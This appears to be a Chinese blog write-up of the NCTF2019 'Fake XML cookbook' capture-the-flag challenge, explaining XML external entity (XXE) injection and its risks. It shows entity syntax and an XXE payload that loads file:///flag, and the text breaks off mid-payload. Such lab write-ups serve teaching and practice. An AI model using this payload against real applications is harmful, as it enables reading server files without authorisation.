[NCTF2019]Fake XML cookbook 1

最新推荐文章于 2025-03-31 08:42:57 发布

原创

最新推荐文章于 2025-03-31 08:42:57 发布 · 2.1k 阅读

CC 4.0 BY-SA版权

文章标签：

本文深入探讨了XML外部实体注入（XXE）漏洞的原理，指出当应用程序在处理XML输入时未能阻止外部实体加载，可能导致文件读取、命令执行等安全风险。通过示例代码展示了XXE漏洞触发的场景，并提醒开发者注意在允许XML上传的地方进行有效过滤，以防止恶意XML文件的上传。

知识点：XML实体注入漏洞（XXE）

原理：XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

查看源代码，访问doLogin.php
在这里插入图片描述
访问doLogin.php,提示加载外部xml实体

内部实体
<!ENTITY 实体名称 "实体的值">

外部实体
<!ENTITY 实体名称 SYSTEM "URL">

因为本题是要外部实体加载，所以用下面一个

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY admin SYSTEM "file:///flag">
]>

<